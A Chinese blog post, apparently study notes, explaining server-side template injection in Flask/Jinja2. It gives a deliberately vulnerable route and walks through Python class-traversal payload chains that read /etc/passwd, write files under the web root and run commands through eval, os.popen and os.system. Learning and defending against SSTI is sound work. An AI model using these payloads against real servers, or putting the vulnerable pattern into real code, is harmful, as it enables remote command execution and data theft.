ssti基础再学习

SSTI–服务端模板注入再学习

注入注入就是用户的输入数据没有被正确处理时,使得该数据成了程序段中的一部分与原程序一起执行,进而改变了原程序的执行逻辑。

主要涉及的模板python: jinja2makotornadodjangoPHP:smartytwigJava:jadevelocity等相关运用渲染函数生成HTML的时候会出现SSTI问题。

SSTI成因举例:(python下flask框架)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
return render_template_string(template)

if __name__ == '__main__':
app.debug = True
app.run()

Python

复制

这段代码是典型的SSTI漏洞,成因是由于:render_template_string()函数在渲染模板时采用了%s最为字符的动态替换,且由于Flask框架使用jinja2作为模板渲染引擎,且{{}}jinja2中是作为变量标识符存在的,在其渲染时会将其中的内容当作变量解析替换,也即执行其中的代码。

SSTI的原理很简单,就是利用非法的语句,将模板中的占位符替换掉,从而getshell

在了解下python环境下触发SSTI需要掌握的语法

https://img-blog.csdnimg.cn/9ff43b7b35554e2ba640e0599434fab4.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

常用函数

__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。是类的一个内置属性,表示类的类型,返回 也是类的实例的属性,表示实例对象的类。

1
2
3
4
5
6
7
8
>>> ''.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>
>>> [].__class__
<class 'list'>
>>> {}.__class__
<class 'dict'>

__bases__:用来查看类的基类也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组注意是直接父类!!!使用语法:类名.__bases__

__base__:返回一个基类。

1
2
3
4
5
6
7
8
>>> ''.__class__.__bases__
(<class 'object'>,)
>>> ().__class__.__bases__
(<class 'object'>,)
>>> [].__class__.__bases__
(<class 'object'>,)
>>> {}.__class__.__bases__
(<class 'object'>,)

__mro__:获取这个类的继承调用顺序,同样返回类元组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 返回的是一个类元组,可使用索引获取基类
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)
>>> {}.__class__.__mro__
(<class 'dict'>, <class 'object'>)
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)

request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用

class X(object):pass # X类继承于object
class Y(object):pass # Y类继承于object
class A(X, Y):pass # A类继承于X、Y
class B(Y):pass # B类继承于Y
class C(A, B):pass # C类继承于A、B
print C.__mro__
# (<class '__main__.C'>, <class '__main__.A'>,<class '__main__.X'>, <class '__main__.B'>, <class '__main__.Y'>, <type 'object'>)

__subclasses__():查看当前类的子类,即返回object的子类;返回一个列表,等同于object.__subclasses__()

1
2
3
>>> [].__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, ......
<type 'MultibyteStreamWriter'>]

__import__():函数用于动态加载类和函数。如果一个模块经常变化就可以使用__import__()来动态载入,就是import。语法:__import__(name模块名)

__dict__:类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类__dict__

__init__ 类的初始化方法 (在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的)

__globals__:函数会以字典类型返回当前位置的全部全局变量func_globals等价

__builtins__: 查看其引用( 其中包含了大量内置函数,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块。 )

通过这些类继承的方法,我们就可以从任何一个变量,回溯到基类中去,再获得到此基类所有实现的类,就可以获得到很多的类。

一些常用的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\\1.php').read()
object.__subclasses__()[40](r'C:\\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

利用方法

根据上面提到的类继承的知识,我们可以总结出一个利用方式(这也是python沙盒溢出的关键):从变量->对象->基类->子类遍历->全局变量这个流程中,找到我们想要的模块或者函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# example  是网上看的,拿来举例用
# 如何才能在python环境下,不直接使用open而来打开一个文件?
# 从任意一个变量中回溯到基类,再去获得基类实现的文件类就可以实现。
# python2
>>> ''.__class__
<type 'str'>
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
>>> ''.__class__.__mro__[-1].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>......]
# 查阅起来有些困难,来列举一下
>>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
...
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
......

# 可以发现索引号为40指向file类,此类存在open方法
>>> ''.__class__.__mro__[-1].__subclasses__()[40]("C:/Users/TPH/Desktop/test.txt").read()
'This is a test!'

常见可利用类

文件读取

方法一—-子模块利用

存在的子模块可以通过.index()来进行查询,如果存在的话返回索引

1
2
>>> ''.__class__.__mro__[2].__subclasses__().index(file)
40

flie类:(在字符串的所属对象种获取str的父类,在其object父类种查找其所有子类,第41个为file类)

1
''.__class__.__mro__[2].__subclasses__()[40]('<File_To_Read>').read()

_frozen_importlib_external.FileLoader类:(前置查询一样,其是第91个类)

1
''.__class__.__mro__[2].__subclasses__()[91].get_data(0,"<file_To_Read>")

方法二—-通过函数解析->基本类->基本类子类->重载类->引用->查找可用函数

1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    #将read() 修改为 write() 即为写文件

命令执行

方法一—-利用eval进行命令执行

1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

方法二—-利用warnings.catch_warnings进行命令执行

查看warnings.catch_warnings方法的位置

1
2
3
>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
59
#我这里环境报错 可以直接通过上面的查找所有类 来看

查看linecatch的位置

1
2
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
25

查找os模块的位置

1
2
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
12

查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述)

1
2
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
144

调用system方法

1
2
3
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0

方法三—-利用commands进行命令执行

1
2
3
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

其它可参:https://tr0jan.top/archives/43/

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~